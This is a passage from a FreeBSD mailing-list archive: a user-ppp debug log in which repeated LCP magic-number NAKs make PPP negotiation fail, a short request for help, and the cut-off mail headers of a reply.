LCP: MAGICNUM[6] 0x9dd40950 Aug 25 21:00:52 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:52 ppp[787]: tun0: LCP: deflink: State change Stopped --> Req-Sent Aug 25 21:00:52 ppp[787]: tun0: LCP: deflink: RecvConfigReq(1) state = Req-Sent Aug 25 21:00:52 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:52 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:52 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:52 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:52 ppp[787]: tun0: LCP: MAGICNUM[6] 0x9dd40950 Aug 25 21:00:52 ppp[787]: tun0: LCP: Magic is same (9dd40950) - 1 times Aug 25 21:00:53 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:53 ppp[787]: tun0: LCP: deflink: SendConfigNak(1) state = Req-Sent Aug 25 21:00:53 ppp[787]: tun0: LCP: MAGICNUM[6] 0x9dd40950 Aug 25 21:00:53 ppp[787]: tun0: LCP: deflink: RecvConfigNak(1) state = Req-Sent Aug 25 21:00:53 ppp[787]: tun0: LCP: MAGICNUM[6] 0x9dd40950 Aug 25 21:00:53 ppp[787]: tun0: LCP: Magic 0x9dd40950 is NAKed! Aug 25 21:00:53 ppp[787]: tun0: LCP: deflink: SendConfigReq(2) state = Req-Sent Aug 25 21:00:53 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:53 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:53 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:53 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:53 ppp[787]: tun0: LCP: MAGICNUM[6] 0x2931b31e Aug 25 21:00:53 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:53 ppp[787]: tun0: LCP: deflink: RecvConfigReq(2) state = Req-Sent Aug 25 21:00:53 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:53 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:53 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:53 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:53 ppp[787]: tun0: LCP: MAGICNUM[6] 0x2931b31e Aug 25 21:00:53 ppp[787]: tun0: LCP: Magic is same (2931b31e) - 2 times Aug 25 21:00:54 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:54 ppp[787]: tun0: LCP: deflink: SendConfigNak(2) state = Req-Sent Aug 25 21:00:54 ppp[787]: tun0: LCP: MAGICNUM[6] 0x2931b31e Aug 25 21:00:54 ppp[787]: tun0: LCP: deflink: RecvConfigNak(2) state = Req-Sent Aug 25 21:00:54 ppp[787]: tun0: LCP: MAGICNUM[6] 0x2931b31e Aug 25 21:00:54 ppp[787]: tun0: LCP: Magic 0x2931b31e is NAKed! Aug 25 21:00:54 ppp[787]: tun0: LCP: deflink: SendConfigReq(3) state = Req-Sent Aug 25 21:00:54 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:54 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:54 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:54 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:54 ppp[787]: tun0: LCP: MAGICNUM[6] 0xbddba679 Aug 25 21:00:54 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:54 ppp[787]: tun0: LCP: deflink: RecvConfigReq(3) state = Req-Sent Aug 25 21:00:54 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:54 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:54 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:54 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:54 ppp[787]: tun0: LCP: MAGICNUM[6] 0xbddba679 Aug 25 21:00:54 ppp[787]: tun0: LCP: Magic is same (bddba679) - 3 times Aug 25 21:00:56 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:56 ppp[787]: tun0: LCP: deflink: SendConfigNak(3) state = Req-Sent Aug 25 21:00:56 ppp[787]: tun0: LCP: MAGICNUM[6] 0xbddba679 Aug 25 21:00:56 ppp[787]: tun0: LCP: deflink: RecvConfigNak(3) state = Req-Sent Aug 25 21:00:56 ppp[787]: tun0: LCP: MAGICNUM[6] 0xbddba679 Aug 25 21:00:56 ppp[787]: tun0: LCP: Magic 0xbddba679 is NAKed! Aug 25 21:00:56 ppp[787]: tun0: LCP: deflink: SendConfigReq(4) state = Req-Sent Aug 25 21:00:56 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:56 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:56 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:56 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:56 ppp[787]: tun0: LCP: MAGICNUM[6] 0x3d3daaeb Aug 25 21:00:56 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:56 ppp[787]: tun0: LCP: deflink: RecvConfigReq(4) state = Req-Sent Aug 25 21:00:56 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:56 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:56 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:56 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:56 ppp[787]: tun0: LCP: MAGICNUM[6] 0x3d3daaeb Aug 25 21:00:56 ppp[787]: tun0: LCP: Magic is same (3d3daaeb) - 4 times Aug 25 21:00:58 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:58 ppp[787]: tun0: LCP: deflink: SendConfigNak(4) state = Req-Sent Aug 25 21:00:58 ppp[787]: tun0: LCP: MAGICNUM[6] 0x3d3daaeb Aug 25 21:00:58 ppp[787]: tun0: LCP: deflink: RecvConfigNak(4) state = Req-Sent Aug 25 21:00:58 ppp[787]: tun0: LCP: MAGICNUM[6] 0x3d3daaeb Aug 25 21:00:58 ppp[787]: tun0: LCP: Magic 0x3d3daaeb is NAKed! Aug 25 21:00:58 ppp[787]: tun0: LCP: deflink: SendConfigReq(5) state = Req-Sent Aug 25 21:00:58 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:58 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:58 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:58 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:58 ppp[787]: tun0: LCP: MAGICNUM[6] 0x009e7774 Aug 25 21:00:58 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:00:58 ppp[787]: tun0: LCP: deflink: RecvConfigReq(5) state = Req-Sent Aug 25 21:00:58 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:00:58 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:00:58 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:00:58 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:00:58 ppp[787]: tun0: LCP: MAGICNUM[6] 0x009e7774 Aug 25 21:00:58 ppp[787]: tun0: LCP: Magic is same (009e7774) - 5 times Aug 25 21:01:00 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:00 ppp[787]: tun0: LCP: deflink: SendConfigNak(5) state = Req-Sent Aug 25 21:01:00 ppp[787]: tun0: LCP: MAGICNUM[6] 0x009e7774 Aug 25 21:01:00 ppp[787]: tun0: LCP: deflink: RecvConfigNak(5) state = Req-Sent Aug 25 21:01:00 ppp[787]: tun0: LCP: MAGICNUM[6] 0x009e7774 Aug 25 21:01:00 ppp[787]: tun0: LCP: Magic 0x009e7774 is NAKed! Aug 25 21:01:00 ppp[787]: tun0: LCP: deflink: SendConfigReq(6) state = Req-Sent Aug 25 21:01:00 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:00 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:00 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:00 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:00 ppp[787]: tun0: LCP: MAGICNUM[6] 0x8759ffc3 Aug 25 21:01:00 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:00 ppp[787]: tun0: LCP: deflink: RecvConfigReq(6) state = Req-Sent Aug 25 21:01:00 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:00 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:00 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:00 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:00 ppp[787]: tun0: LCP: MAGICNUM[6] 0x8759ffc3 Aug 25 21:01:00 ppp[787]: tun0: LCP: Magic is same (8759ffc3) - 6 times Aug 25 21:01:03 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:03 ppp[787]: tun0: LCP: deflink: SendConfigNak(6) state = Req-Sent Aug 25 21:01:03 ppp[787]: tun0: LCP: MAGICNUM[6] 0x8759ffc3 Aug 25 21:01:03 ppp[787]: tun0: LCP: deflink: RecvConfigNak(6) state = Req-Sent Aug 25 21:01:03 ppp[787]: tun0: LCP: MAGICNUM[6] 0x8759ffc3 Aug 25 21:01:03 ppp[787]: tun0: LCP: Magic 0x8759ffc3 is NAKed! Aug 25 21:01:03 ppp[787]: tun0: LCP: deflink: SendConfigReq(7) state = Req-Sent Aug 25 21:01:03 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:03 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:03 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:03 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:03 ppp[787]: tun0: LCP: MAGICNUM[6] 0xcd5a9184 Aug 25 21:01:03 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:03 ppp[787]: tun0: LCP: deflink: RecvConfigReq(7) state = Req-Sent Aug 25 21:01:03 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:03 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:03 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:03 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:03 ppp[787]: tun0: LCP: MAGICNUM[6] 0xcd5a9184 Aug 25 21:01:03 ppp[787]: tun0: LCP: Magic is same (cd5a9184) - 7 times Aug 25 21:01:06 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:06 ppp[787]: tun0: LCP: deflink: SendConfigNak(7) state = Req-Sent Aug 25 21:01:06 ppp[787]: tun0: LCP: MAGICNUM[6] 0xcd5a9184 Aug 25 21:01:06 ppp[787]: tun0: LCP: deflink: RecvConfigNak(7) state = Req-Sent Aug 25 21:01:06 ppp[787]: tun0: LCP: MAGICNUM[6] 0xcd5a9184 Aug 25 21:01:06 ppp[787]: tun0: LCP: Magic 0xcd5a9184 is NAKed! Aug 25 21:01:06 ppp[787]: tun0: LCP: deflink: SendConfigReq(8) state = Req-Sent Aug 25 21:01:06 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:06 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:06 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:06 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:06 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc69b0864 Aug 25 21:01:06 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:06 ppp[787]: tun0: LCP: deflink: RecvConfigReq(8) state = Req-Sent Aug 25 21:01:06 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:06 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:06 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:06 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:06 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc69b0864 Aug 25 21:01:06 ppp[787]: tun0: LCP: Magic is same (c69b0864) - 8 times Aug 25 21:01:10 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:10 ppp[787]: tun0: LCP: deflink: SendConfigNak(8) state = Req-Sent Aug 25 21:01:10 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc69b0864 Aug 25 21:01:10 ppp[787]: tun0: LCP: deflink: RecvConfigNak(8) state = Req-Sent Aug 25 21:01:10 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc69b0864 Aug 25 21:01:10 ppp[787]: tun0: LCP: Magic 0xc69b0864 is NAKed! Aug 25 21:01:10 ppp[787]: tun0: LCP: deflink: SendConfigReq(9) state = Req-Sent Aug 25 21:01:10 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:10 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:10 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:10 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:10 ppp[787]: tun0: LCP: MAGICNUM[6] 0x6cd929d0 Aug 25 21:01:10 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:10 ppp[787]: tun0: LCP: deflink: RecvConfigReq(9) state = Req-Sent Aug 25 21:01:10 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:10 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:10 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:10 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:10 ppp[787]: tun0: LCP: MAGICNUM[6] 0x6cd929d0 Aug 25 21:01:10 ppp[787]: tun0: LCP: Magic is same (6cd929d0) - 9 times Aug 25 21:01:14 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:14 ppp[787]: tun0: LCP: deflink: SendConfigNak(9) state = Req-Sent Aug 25 21:01:14 ppp[787]: tun0: LCP: MAGICNUM[6] 0x6cd929d0 Aug 25 21:01:14 ppp[787]: tun0: LCP: deflink: RecvConfigNak(9) state = Req-Sent Aug 25 21:01:14 ppp[787]: tun0: LCP: MAGICNUM[6] 0x6cd929d0 Aug 25 21:01:14 ppp[787]: tun0: LCP: Magic 0x6cd929d0 is NAKed! Aug 25 21:01:14 ppp[787]: tun0: LCP: deflink: SendConfigReq(10) state = Req-Sent Aug 25 21:01:14 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:14 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:14 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:14 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:14 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc3bab09b Aug 25 21:01:14 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:14 ppp[787]: tun0: LCP: deflink: RecvConfigReq(10) state = Req-Sent Aug 25 21:01:14 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:14 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:14 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:14 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:14 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc3bab09b Aug 25 21:01:14 ppp[787]: tun0: LCP: Magic is same (c3bab09b) - 10 times Aug 25 21:01:18 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:18 ppp[787]: tun0: LCP: deflink: SendConfigNak(10) state = Req-Sent Aug 25 21:01:18 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc3bab09b Aug 25 21:01:18 ppp[787]: tun0: LCP: deflink: RecvConfigNak(10) state = Req-Sent Aug 25 21:01:18 ppp[787]: tun0: LCP: MAGICNUM[6] 0xc3bab09b Aug 25 21:01:18 ppp[787]: tun0: LCP: Magic 0xc3bab09b is NAKed! Aug 25 21:01:18 ppp[787]: tun0: LCP: deflink: SendConfigReq(11) state = Req-Sent Aug 25 21:01:18 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:18 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:18 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:18 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:18 ppp[787]: tun0: LCP: MAGICNUM[6] 0x77b54c0b Aug 25 21:01:18 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:18 ppp[787]: tun0: LCP: deflink: RecvConfigReq(11) state = Req-Sent Aug 25 21:01:18 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:18 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:18 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:18 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:18 ppp[787]: tun0: LCP: MAGICNUM[6] 0x77b54c0b Aug 25 21:01:18 ppp[787]: tun0: LCP: Magic is same (77b54c0b) - 11 times Aug 25 21:01:23 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:23 ppp[787]: tun0: LCP: deflink: SendConfigNak(11) state = Req-Sent Aug 25 21:01:23 ppp[787]: tun0: LCP: MAGICNUM[6] 0x77b54c0b Aug 25 21:01:23 ppp[787]: tun0: LCP: deflink: RecvConfigNak(11) state = Req-Sent Aug 25 21:01:23 ppp[787]: tun0: LCP: MAGICNUM[6] 0x77b54c0b Aug 25 21:01:23 ppp[787]: tun0: LCP: Magic 0x77b54c0b is NAKed! Aug 25 21:01:23 ppp[787]: tun0: LCP: deflink: SendConfigReq(12) state = Req-Sent Aug 25 21:01:23 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:23 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:23 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:23 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:23 ppp[787]: tun0: LCP: MAGICNUM[6] 0x13eaeaa3 Aug 25 21:01:23 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:23 ppp[787]: tun0: LCP: deflink: RecvConfigReq(12) state = Req-Sent Aug 25 21:01:23 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:23 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:23 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:23 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:23 ppp[787]: tun0: LCP: MAGICNUM[6] 0x13eaeaa3 Aug 25 21:01:23 ppp[787]: tun0: LCP: Magic is same (13eaeaa3) - 12 times Aug 25 21:01:28 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:28 ppp[787]: tun0: LCP: deflink: SendConfigNak(12) state = Req-Sent Aug 25 21:01:28 ppp[787]: tun0: LCP: MAGICNUM[6] 0x13eaeaa3 Aug 25 21:01:28 ppp[787]: tun0: LCP: deflink: RecvConfigNak(12) state = Req-Sent Aug 25 21:01:28 ppp[787]: tun0: LCP: MAGICNUM[6] 0x13eaeaa3 Aug 25 21:01:28 ppp[787]: tun0: LCP: Magic 0x13eaeaa3 is NAKed! Aug 25 21:01:28 ppp[787]: tun0: LCP: deflink: SendConfigReq(13) state = Req-Sent Aug 25 21:01:28 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:28 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:28 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:28 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:28 ppp[787]: tun0: LCP: MAGICNUM[6] 0x7752d6eb Aug 25 21:01:28 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:28 ppp[787]: tun0: LCP: deflink: RecvConfigReq(13) state = Req-Sent Aug 25 21:01:28 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:28 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:28 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:28 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:28 ppp[787]: tun0: LCP: MAGICNUM[6] 0x7752d6eb Aug 25 21:01:28 ppp[787]: tun0: LCP: Magic is same (7752d6eb) - 13 times Aug 25 21:01:34 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:34 ppp[787]: tun0: LCP: deflink: SendConfigNak(13) state = Req-Sent Aug 25 21:01:34 ppp[787]: tun0: LCP: MAGICNUM[6] 0x7752d6eb Aug 25 21:01:34 ppp[787]: tun0: LCP: deflink: RecvConfigNak(13) state = Req-Sent Aug 25 21:01:34 ppp[787]: tun0: LCP: MAGICNUM[6] 0x7752d6eb Aug 25 21:01:34 ppp[787]: tun0: LCP: Magic 0x7752d6eb is NAKed! Aug 25 21:01:34 ppp[787]: tun0: LCP: deflink: SendConfigReq(14) state = Req-Sent Aug 25 21:01:34 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:34 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:34 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:34 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:34 ppp[787]: tun0: LCP: MAGICNUM[6] 0x442d30a0 Aug 25 21:01:34 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:34 ppp[787]: tun0: LCP: deflink: RecvConfigReq(14) state = Req-Sent Aug 25 21:01:34 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:34 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:34 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:34 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:34 ppp[787]: tun0: LCP: MAGICNUM[6] 0x442d30a0 Aug 25 21:01:34 ppp[787]: tun0: LCP: Magic is same (442d30a0) - 14 times Aug 25 21:01:40 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:40 ppp[787]: tun0: LCP: deflink: SendConfigNak(14) state = Req-Sent Aug 25 21:01:40 ppp[787]: tun0: LCP: MAGICNUM[6] 0x442d30a0 Aug 25 21:01:40 ppp[787]: tun0: LCP: deflink: RecvConfigNak(14) state = Req-Sent Aug 25 21:01:40 ppp[787]: tun0: LCP: MAGICNUM[6] 0x442d30a0 Aug 25 21:01:40 ppp[787]: tun0: LCP: Magic 0x442d30a0 is NAKed! Aug 25 21:01:40 ppp[787]: tun0: LCP: deflink: SendConfigReq(15) state = Req-Sent Aug 25 21:01:40 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:40 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:40 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:40 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:40 ppp[787]: tun0: LCP: MAGICNUM[6] 0xf5901a72 Aug 25 21:01:40 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:40 ppp[787]: tun0: LCP: deflink: RecvConfigReq(15) state = Req-Sent Aug 25 21:01:40 ppp[787]: tun0: LCP: ACFCOMP[2] Aug 25 21:01:40 ppp[787]: tun0: LCP: PROTOCOMP[2] Aug 25 21:01:40 ppp[787]: tun0: LCP: ACCMAP[6] 0x00000000 Aug 25 21:01:40 ppp[787]: tun0: LCP: MRU[4] 1500 Aug 25 21:01:40 ppp[787]: tun0: LCP: MAGICNUM[6] 0xf5901a72 Aug 25 21:01:40 ppp[787]: tun0: LCP: Magic is same (f5901a72) - 15 times Aug 25 21:01:46 ppp[787]: tun0: LCP: QUALPROTO[8] proto c025, interval 30000ms Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: SendConfigNak(15) state = Req-Sent Aug 25 21:01:46 ppp[787]: tun0: LCP: MAGICNUM[6] 0xf5901a72 Aug 25 21:01:46 ppp[787]: tun0: Phase: deflink: Too many LCP NAKs sent - abandoning negotiation Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: SendIdent(0) state = Req-Sent Aug 25 21:01:46 ppp[787]: tun0: LCP: MAGICNUM 9ac2c342 Aug 25 21:01:46 ppp[787]: tun0: LCP: TEXT user-ppp 3.4.2 (built May 7 2006) Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: SendTerminateReq(15) state = Req-Sent Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: State change Req-Sent --> Closing Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: RecvConfigNak(15) state = Closing Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: RecvIdent(0) state = Closing Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: RecvIdent: magic 0x9ac2c342 is wrong, expecting 0x00000000 Aug 25 21:01:46 ppp[787]: tun0: LCP: MAGICNUM 00000000 Aug 25 21:01:46 ppp[787]: tun0: LCP: TEXT user-ppp 3.4.2 (built May Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: RecvTerminateReq(15) state = Closing Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: SendTerminateAck(15) state = Closing Aug 25 21:01:46 ppp[787]: tun0: LCP: deflink: RecvTerminateAck(15), dropped (expected 16) Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: SendTerminateReq(16) state = Closing Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: RecvTerminateReq(16) state = Closing Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: SendTerminateAck(16) state = Closing Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: RecvTerminateAck(16) state = Closing Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: LayerFinish Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: State change Closing --> Closed Aug 25 21:01:49 ppp[787]: tun0: LCP: deflink: State change Closed --> Initial Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: Disconnected! Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: lcp -> logout Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: logout -> hangup Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: Disconnected! Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: Connect time: 58 secs: 1479 octets in, 1479 octets out Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: 35 packets in, 35 packets out Aug 25 21:01:49 ppp[787]: tun0: Phase: total 51 bytes/sec, peak 194 bytes/sec on Tue Aug 25 21:01:46 2009 Aug 25 21:01:49 ppp[787]: tun0: Phase: deflink: hangup -> closed Aug 25 21:01:49 ppp[787]: tun0: Phase: bundle: Dead Aug 25 21:01:49 ppp[787]: tun0: Phase: PPP Terminated (normal). any help will be appreciated thanks :) From owner-freebsd-questions@FreeBSD.ORG Tue Aug 25 17:41:47 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 461D4106568E for ; Tue, 25 Aug 2009 17:41:47 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id 039948FC1C for ; Tue, 25 Aug 2009 17:41:46 +0000 (UTC) Received: from r55.edvax.de (port-92-195-1-225.dynamic.qsc.de [92.195.1.225]) by mx01.qsc.de (Postfix) with ESMTP id 9B24C82AF; Tue, 25 Aug 2009 19:41:45 +0200 (CEST) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id n7PHfi69001511; Tue, 25 Aug 2009 19:41:44 +0200 (CEST) (envelope-from freebsd@edvax.de) Date: Tue, 25 Aug 2009 19:41:44 +0200 From: Polytropon To: Mark Stapper Message-Id: <20090825194144.966f9558.freebsd@edvax.de> In-Reply-To: <4A93CC27.9000602@mapper.nl> References: <4A93B2C3.5040004@mapper.nl> <4A93C2B0.9010706@mapper.nl> <4A93CC27.9000602@mapper.nl> Organization: EDVAX X-Mailer: Sylpheed 